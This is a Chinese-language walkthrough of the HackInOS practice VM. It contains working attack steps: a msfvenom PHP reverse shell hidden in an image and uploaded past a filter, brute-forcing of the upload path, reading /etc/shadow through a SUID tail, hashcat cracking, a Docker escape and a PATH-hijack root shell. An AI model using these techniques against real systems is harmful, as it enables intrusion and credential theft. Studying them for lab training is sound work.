HackInOS靶机渗透练习

  • A+
所属分类:安全文章
摘要

网络结构由VMware虚拟机及物理机组成靶机hackinOS:192.168.1.Kali:192.168.1.132/24物理机

网络结构:

网络结构由VMware虚拟机及物理机组成

靶机hackinOS:192.168.1.

Kali:192.168.1.132/24

物理机

信息收集:

主机发现:

Nmap扫描:

nmap -sP 192.168.1.0/24 

此处192.168.1.1为VMnet1网卡地址,1.3为网关地址,1.137为kali的地址,判断靶机地址为192.168.1.136(这里因为原图在保存过程中丢失了,所以我重新扫描了一下放了张图,时间跟后面对不上,但是不妨碍,地址都是一样的)

HackInOS靶机渗透练习

端口扫描:

可以看到除了22端口,还开放了8000端口:

nmap -sV 192.168.1.136 

HackInOS靶机渗透练习

漏洞挖掘:

访问8000端口:

可以看到一个web界面
HackInOS靶机渗透练习

访问robots.txt,可以看到提示了我们一个文件上传页面

注:robots协议也叫robots.txt(统一小写)是一种存放于网站根目录下的ASCII编码的文本文件,它通常告诉网络搜索引擎的漫游器(爬虫),此网站中的哪些内容是不应被搜索引擎的漫游器获取的,哪些是可以被漫游器获取的。

HackInOS靶机渗透练习

打开这个页面瞅瞅:

HackInOS靶机渗透练习

右键查看源代码,拖到最底下,看到给了一个github链接

HackInOS靶机渗透练习

转到这个GitHub页面,可以看到人家给了页面源码:可以上传文件,过滤了mime类型,仅允许png和gif格式

HackInOS靶机渗透练习

生成了一个1-100随机数,添加在文件尾部,用md5加密后作为新文件名

HackInOS靶机渗透练习

这里我们可以上传个木马,接收反弹shell,先制作一个反弹shell的php木马

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.137 lport=4444 -f raw > 1.php 

HackInOS靶机渗透练习

生成木马如下图,ip地址为kali的ip,端口号4444为kali要监听的端口

HackInOS靶机渗透练习

然后加到某一图片中,生成图片马

HackInOS靶机渗透练习

记事本打开此图片,可以看到我们1.php中的代码已经加到了图片最后面

HackInOS靶机渗透练习

图片马生成成功,接下来上传上去,将数据包用burp拦截下来,需要修改一下文件名后缀为php,不然到时候没法用

HackInOS靶机渗透练习

HackInOS靶机渗透练习

如上图已经可以看到上传成功,还提示了我们存放的目录位置

在kali端监听端口:

HackInOS靶机渗透练习

这里因为目标主机在存储上传过来的图片时,会在文件名尾部加一个1-100的随机数,然后对其进行md5加密,再生成新的文件名,我们无法直接访问,需要借助工具对目标路径进行爆破

这里首先运行一个python脚本a.py,生成字典zd1.txt

#!/usr/bin/python import hashlib for i in range(101):  file ="3.php"+str(i)  hash=hashlib.md5(file.encode())  dir=hash.hexdigest()+".php"  f = open("zd1.txt","a+")  f.write(dir+"/r/n")  f.close() 

然后使用dirb进行遍历

dirb "http://192.168.1.136:8000/uploads" zd1.txt 

成功检索到目标文件时如下图所示

HackInOS靶机渗透练习

监听端会返回过来一个shell

HackInOS靶机渗透练习

因为网站为wordpress搭建,其数据库信息存放在wp-config.php内,直接用cat就可以查看,可以看到数据库用户名和密码均为wordpress

HackInOS靶机渗透练习

此时我们可以查看下系统信息,判断服务是否运行在容器内

sysinfo 

HackInOS靶机渗透练习

主机名为1afdd1f6b82c,像是在容器中运行,确认一下,确实运行在docker中

run post/linux/gather/checkcontainer 

HackInOS靶机渗透练习

提权

虽然是在docker中,但现在我们也只有进行提权才能进一步想办法拿到主机shell

先上传一个Linux信息收集脚本 下载地址 https://github.com/sleventyeleven/linuxprivchecker

meterpreter > upload ~/桌面/linuxprivchecker.py /tmp/linuxprivchecker.py 

HackInOS靶机渗透练习

这个脚本会提供给我们很多信息,包括我们此时最需要的设置了suid的命令,如下图,tail命令被设置了suid

HackInOS靶机渗透练习

直接用cat来查看shadow文件是查看不了的,所以我们可以用tail来查看shadow文件,可以看到root的用户名密码

tail -c1G /etc/shadow 

HackInOS靶机渗透练习

root:$6$qoj6/JJi$FQe/BZlfZV9VX8m0i25Suih5vi1S//OVNpd.PvEVYcL1bWSrF3XTVTF91n60yUuUMUcP65EgT8HfjLyjGHova/:17951:0:99999:7::: 

之后使用hashcat破解密码,将得到的用户名密码hash值存放在文件root.hash中,使用hashcat进行破解

HackInOS靶机渗透练习

命令:

hashcat -w 3 -a 0 -m 1800 -o root.out root.hash 

此处参数,-w 调优,-a 指定要使用的破解模式,其值参考后面对参数。""-a 0"字典攻击,"-a 1" 组合攻击;"-a 3"掩码 攻击。 -m 1800 = SHA-512(Unix)

得到存有破解密码的文件root.out,查看密码为john

HackInOS靶机渗透练习

此处我们切换为root用户时需要使用到一个交互shell

python -c "import pty;pty.spawn('/bin/bash');" 

HackInOS靶机渗透练习

此时docker内提权成功

docker逃逸

有了root权限我们可以查看数据库了,用之前获取的数据库用户名和密码登录mysql

mysql -h db -u wordpress -p 

HackInOS靶机渗透练习

从上图中可以看到一个host_ssh_cred表,看起来像是ssh连接,查看下这个表,果然,从里面可以看到一组用户名密码

HackInOS靶机渗透练习

密码由md5加密,将其解密后,得到明文12345

HackInOS靶机渗透练习

使用ssh登录,登录成功

ssh [email protected] 

HackInOS靶机渗透练习

登录后查看用户组,属于docker组,逃逸成功

HackInOS靶机渗透练习

二次提权

此时我们直接将root目录挂载至容器内,即可查看root下的文件

如图,成功拿到flag

docker run -it -v /root:/root ubuntu:latest 

HackInOS靶机渗透练习

但此时我们还没有真正拿到root权限,继续进行提权

查看一下设置了suid的文件

ls -lh $(find / -perm -u=s -type f 2>/dev/null) 

HackInOS靶机渗透练习

可以看到一个a.out,此文件显然是人为创建的可执行文件,运行一下看看,看到返回了结果root

/home/hummingbirdscyber/Desktop/a.out 

HackInOS靶机渗透练习

我们不清楚这个文件的内容,但其执行结果仅返回了一个用户名,猜测调用了whoami文件

查看一下环境变量,可以看到/home/hummingbirdscyber/bin,此目录我们是有写权限的

HackInOS靶机渗透练习

我们可以自行编写一个whoami文件,因为我们猜测a.out中使用了whoami命令,而环境变量中又有一个我们具有写权限的目录,此时如果我们伪造一个whoami文件,a.out在调用命令时首先检索环境变量就会调用到我们伪造的whoami,执行我们想要的命令,来达到提权的效果,即使用环境变量进行命令劫持提权

此处whoami中的内容为返回一个shell,还需要说明一点,因为执行a.out的时候返回的是root,因此怀疑是使用root的权限来调用了whoami,此时我们如果能够获取到shell,则可以拿到root权限

[email protected]:~/Desktop$ nano whoami.c [email protected]:~/Desktop$ cat whoami.c #include <stdlib.h> int main(void) {     system("/bin/bash -p");     return 0; } [email protected]:~/Desktop$ gcc -o whoami whoami.c  //编译 [email protected]:~/Desktop$ chmod +x whoami         //赋予执行权限 

我们到hummingbirdscybe目录下,创建一个bin目录,然后将之前编译好的whoami移动到bin目录下

[email protected]:~$ mkdir bin [email protected]:~$ mv Desktop/whoami bin/ 

执行a.out,前面的用户名变为了root

HackInOS靶机渗透练习

查看flag,无误,提权成功

HackInOS靶机渗透练习

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: